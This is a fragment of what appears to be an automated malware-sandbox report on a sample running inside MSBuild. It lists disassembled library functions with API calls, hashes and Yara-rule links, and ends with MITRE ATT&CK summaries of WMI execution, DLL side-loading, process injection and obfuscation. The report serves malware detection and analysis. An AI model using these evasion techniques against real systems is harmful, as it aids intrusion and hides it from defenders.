Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 0bd71d45bcd578d8ec72fe27688e15d2035a384b79655cade7cd7eef201c75e2
Instruction ID: ad00d2714393c2dbf4d770255b1f4bd34b137e2b6e6191fa3e6e00f248320dec
Opcode Fuzzy Hash: 0bd71d45bcd578d8ec72fe27688e15d2035a384b79655cade7cd7eef201c75e2
Instruction Fuzzy Hash: F7517574A00646CFD701CF18C184B5ABBF1BF6A318F18C29AD9596BB52C335E885CF92

Function 6C36BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C36BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C36BE8F

Strings

0, xrefs: 6C36BE5B

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 614fcba05c365258dad596b3e348dd7e3ee89dfee7e827e883faa1086886fd93
Instruction ID: 71c927ebed5c3a29050fd925450b4a107bb869add155f4984a68cb40ec0e1b9d
Opcode Fuzzy Hash: 614fcba05c365258dad596b3e348dd7e3ee89dfee7e827e883faa1086886fd93
Instruction Fuzzy Hash: 2941C171908345CFC311CF2AD481A9BB7F8AF8A38CF004A1DF8855BA15D731D9589F92

Function 6C3A3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3A3D19
mozalloc_abort.MOZGLUE(?), ref: 6C3A3D6C

Strings

d, xrefs: 6C3A3D58

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 55789cd631d552bf207d20d9f2e0fd0102cc3ee5274132a7b1dd77eed332e3e9
Instruction ID: c1bc0c83e3ff4656337ec1c681d7129f986fbfcfd927934c30c9c4d6d7e993fb
Opcode Fuzzy Hash: 55789cd631d552bf207d20d9f2e0fd0102cc3ee5274132a7b1dd77eed332e3e9
Instruction Fuzzy Hash: 0A112331E04788DBDF40DBE9C8144EDB779EF8A318B448219DC85AB612FB30E595CBA0

Function 6C374730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C3744B2,6C3EE21C,6C3EF7F8), ref: 6C37473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C37474A

Strings

GetNtLoaderAPI, xrefs: 6C374744

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 0b77de595f4ed63f1e7ff4eef275e0edf02bcb46f11327bbd3330bb83a3f93ab
Instruction ID: fee29b6d33865b42b0c3aad9e4fbfe99ed1be780e201ce9e5a9f051621fb1798
Opcode Fuzzy Hash: 0b77de595f4ed63f1e7ff4eef275e0edf02bcb46f11327bbd3330bb83a3f93ab
Instruction Fuzzy Hash: F2019E753003598FDF10AF6A98846697BBDEB8F311B05046AEA15CB310CB78E8018FA5

Function 6C3C6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C3C6E22
__Init_thread_footer.LIBCMT ref: 6C3C6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C3C6E1D

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 51a1aac80ffbebccfa98f175673dd320c19121f798046fcf819fc6d2af3ccded
Instruction ID: 7626c94593fa3188ca39bc2de8954cc83dd8955ad379eaf163149846f7dcb917
Opcode Fuzzy Hash: 51a1aac80ffbebccfa98f175673dd320c19121f798046fcf819fc6d2af3ccded
Instruction Fuzzy Hash: 27F05230706240CBDB208B78EA50AA9777A938F21CF040267C84486BA1D772BD06CFA3

Function 6C379E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C379EEF

Strings

NaN, xrefs: 6C379EC1
Infinity, xrefs: 6C379EB7

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: fd4a0f762f1a1e6a892caf44f11805c3eec252c7d3e6cbe192806da987dcea50
Instruction ID: e72d3539f49b174b2822aba1fa42829a9f15a599135519c0684054146ae39dc7
Opcode Fuzzy Hash: fd4a0f762f1a1e6a892caf44f11805c3eec252c7d3e6cbe192806da987dcea50
Instruction Fuzzy Hash: 0BF0FF71602245CADB209F08F8457423B79B34F318F204A17C6400AB44D3B97546CF92

Function 6C376C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K:l,?,6C3A4B30,80000000,?,6C3A4AB7,?,6C3643CF,?,6C3642D2), ref: 6C376C42

Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

moz_xmalloc.MOZGLUE(0K:l,?,6C3A4B30,80000000,?,6C3A4AB7,?,6C3643CF,?,6C3642D2), ref: 6C376C58

Strings

0K:l, xrefs: 6C376C33, 6C376C41, 6C376C57

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K:l
API String ID: 1967447596-3423450774
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 9cc557a9a6e71781c0db853db4d47e15e8fa1642c635437871f10f6e505cdc71
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 0DE026F1A101020B9F58A878AC1952A79EC8B142A97084A35E823C2FC8FA1CE450C87A

Function 6C373850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C3EF860), ref: 6C37385C
ReleaseSRWLockExclusive.KERNEL32(6C3EF860,?), ref: 6C373871

Strings

,>l, xrefs: 6C37387A

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,>l
API String ID: 17069307-3867029857
Opcode ID: b93219095c5350d45c98870aeb36a4b8e25417e9549fe600cb38a5a4b2f520f8
Instruction ID: dfad09de7119d4baa611bf4d4845a67d63441774fcb99aa5226c57f2bfb892fd
Opcode Fuzzy Hash: b93219095c5350d45c98870aeb36a4b8e25417e9549fe600cb38a5a4b2f520f8
Instruction Fuzzy Hash: A0E0D83590173CE787729F96A4015463B7CEE4F7943054007F5191B900C774D1408FEA

Function 6C37BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C37BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C37BEF5

Strings

cryptbase.dll, xrefs: 6C37BEF0

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 397f670fdcaa9fc285636e36f38b4f0beda835b7133710cee06d7999263c5e74
Instruction ID: 6473187af761352515723da9c4c5391de3255169e4fb306143450a4a49593704
Opcode Fuzzy Hash: 397f670fdcaa9fc285636e36f38b4f0beda835b7133710cee06d7999263c5e74
Instruction Fuzzy Hash: 93D0C731185308E6D6616A90AD09B15377C974975DF10C022F7555CD51C7B59450CFA8

Function 6C3650E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C364E9C,?,?,?,?,?), ref: 6C36510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C364E9C,?,?,?,?,?), ref: 6C365167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C365196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C364E9C), ref: 6C365234

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 1fbf31744f55b3dec2c1ea626b43e9bb4d8e28749c2d874d2ccbd6ac69e4e211
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 8C91AD35505656CFCF14CF19C490A56BBA5BF89318B298698DC589BB1AD332FC82CFE0

Function 6C3A08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C3EE7DC), ref: 6C3A0918
LeaveCriticalSection.KERNEL32(6C3EE7DC), ref: 6C3A09A6
EnterCriticalSection.KERNEL32(6C3EE7DC,?,00000000), ref: 6C3A09F3
LeaveCriticalSection.KERNEL32(6C3EE7DC), ref: 6C3A0ACB

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: b839a176e3b2b75413bad01fe076cc70de0a11bccd6843bbcf7513cdeb87542c
Instruction ID: 5ab8e26472c0d0539bd839c8add314166ecaa8c9e8857881890554b8ee45b95b
Opcode Fuzzy Hash: b839a176e3b2b75413bad01fe076cc70de0a11bccd6843bbcf7513cdeb87542c
Instruction Fuzzy Hash: B6515C32701754CBEB189A95D44072533B9EBCAB28B25813FD96797F90D732E8228FD0

Function 6C3BB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C3BB2C9,?,?,?,6C3BB127,?,?,?,?,?,?,?,?,?,6C3BAE52), ref: 6C3BB628

Part of subcall function 6C3B90E0: free.MOZGLUE(?,00000000,?,?,6C3BDEDB), ref: 6C3B90FF
Part of subcall function 6C3B90E0: free.MOZGLUE(?,00000000,?,?,6C3BDEDB), ref: 6C3B9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C3BB2C9,?,?,?,6C3BB127,?,?,?,?,?,?,?,?,?,6C3BAE52), ref: 6C3BB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C3BB2C9,?,?,?,6C3BB127,?,?,?,?,?,?,?,?,?,6C3BAE52), ref: 6C3BB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C3BB127,?,?,?,?,?,?,?,?), ref: 6C3BB74D

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 6ddf88547f5bf3c331fd6f7f70ca990457acf4568778b2f52521d67f6fde898a
Instruction ID: d2ffd24f2eb1666f95d7f90a81f7891db7676bbf8e6bf39e81a6b7933c728c76
Opcode Fuzzy Hash: 6ddf88547f5bf3c331fd6f7f70ca990457acf4568778b2f52521d67f6fde898a
Instruction Fuzzy Hash: 0E519A71A052168FDB14CF18C9C176EB7B5EF95308F558569C85ABBB10DB31AC04CFA1

Function 6C3BDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C3AFF2A), ref: 6C3BDFFD

Part of subcall function 6C3B90E0: free.MOZGLUE(?,00000000,?,?,6C3BDEDB), ref: 6C3B90FF
Part of subcall function 6C3B90E0: free.MOZGLUE(?,00000000,?,?,6C3BDEDB), ref: 6C3B9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C3AFF2A), ref: 6C3BE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C3AFF2A), ref: 6C3BE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C3AFF2A), ref: 6C3BE0FE

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7b8b9915ad5c75a11c78a5edd5d6f7882649ab4ce78d2b95de15442d7d899814
Instruction ID: 3e12735c168696028d4dfaae1315f4f01e1edbd1ebf1361171d6fbdf1b36c458
Opcode Fuzzy Hash: 7b8b9915ad5c75a11c78a5edd5d6f7882649ab4ce78d2b95de15442d7d899814
Instruction Fuzzy Hash: AE41AFB57043168FEB14CF6DD88039A77B6AB55308F244969D516EBB40E732E904CFE2

Function 6C3B6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C3B6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C3B6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C3B6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3B6F5C

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: fa93e81772ee46450bcc00b799366d763718e65ce006e9c5edf1704f9f2a0c16
Instruction ID: b5dd3680f17ea9a8dc819625f5924400d4857fe104fb0c065e8cbc347ee0b6ea
Opcode Fuzzy Hash: fa93e81772ee46450bcc00b799366d763718e65ce006e9c5edf1704f9f2a0c16
Instruction Fuzzy Hash: 3C31E771A1060A8FDB18CF2CDD406AE73F9FB94344F504139D41AD7A52EB32E559CBA0

Function 6C3CB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C370A4D), ref: 6C3CB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C370A4D), ref: 6C3CB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C370A4D), ref: 6C3CB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C370A4D), ref: 6C3CB67F

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: e0dd77150919763f3591ad0e3c7e92e64f9f0c64672edda2ea4aa41faa6ef3e2
Instruction ID: 1d8f70ee7c2848212e88b35c859e79c17a676541b034913bbac8f1fb72f3b71a
Opcode Fuzzy Hash: e0dd77150919763f3591ad0e3c7e92e64f9f0c64672edda2ea4aa41faa6ef3e2
Instruction Fuzzy Hash: 5A31C371A012168FDB10DF58C84469EFBB9EF85318F16856AC8069F201DB31ED25CFA2

Function 6C39F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C39F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C39F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C39F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C39F668

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 720e3d613eb75401f438057879f79d14b47c033c161215c4afad0b72b863fec1
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 55314F71A00214AFC714CF6DDCC0A9B77B9EF88358B148539FA498BB04E672F9448F94

Function 6C3B26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3B26C1
free.MOZGLUE(?), ref: 6C3B26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3B26FF
free.MOZGLUE ref: 6C3B270D

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 85d96ae6840a8cc8edf2acf44a802dc0e497338b6abe577c78cfff2971a38049
Instruction ID: 19218d2caa68298602befe0937fa580441e2ed887aa16d164738381371babed0
Opcode Fuzzy Hash: 85d96ae6840a8cc8edf2acf44a802dc0e497338b6abe577c78cfff2971a38049
Instruction Fuzzy Hash: FEF0F9B27012015BF7109A18EC84A9B73ADEF65258B100135EA16E3F02E373F918CBA6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
